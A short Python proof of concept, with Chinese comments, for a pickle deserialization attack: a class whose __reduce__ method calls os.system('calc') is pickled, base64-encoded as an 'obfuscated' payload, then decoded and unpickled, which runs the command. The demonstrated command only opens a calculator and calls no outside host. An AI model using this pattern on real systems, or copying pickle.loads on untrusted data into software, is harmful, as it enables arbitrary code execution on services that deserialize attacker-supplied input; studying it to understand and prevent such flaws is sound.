import pickle, base64, os

# 类似 payload
class Run:
    def __reduce__(self):
        return (os.system, ('calc',))

# 打包并混淆
payload = pickle.dumps(Run())
b64_payload = base64.b64encode(payload).decode()

# 假设你传输这个字符串
print("base64 payload:", b64_payload)

# 接收端运行（动态执行）
dec = base64.b64decode(b64_payload)
pickle.loads(dec)
